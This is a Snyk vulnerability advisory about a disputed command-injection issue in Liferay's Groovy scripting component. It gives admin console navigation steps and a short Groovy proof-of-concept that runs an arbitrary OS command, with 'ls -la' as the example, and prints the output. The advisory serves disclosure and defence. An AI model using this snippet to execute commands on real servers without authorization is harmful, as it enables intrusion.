Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for com.liferay:com.liferay.portal.scripting.groovy
.
Affected versions of this package are vulnerable to Command Injection via a Groovy script a user with high privileges can execute any OS command on the underlaying server.
Login as admin
In the Product Menu, navigate to Control Panel and select Configuration → Server Administration.
Execute the following script:
def sout = new StringBuilder(), serr = new StringBuilder()
def proc = '[command]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Instead of command
insert arbitrary command (i.e ls -la
).
Note: This CVE is disputed since it is a feature for administrators to run groovy scripts and therefore not a design flaw.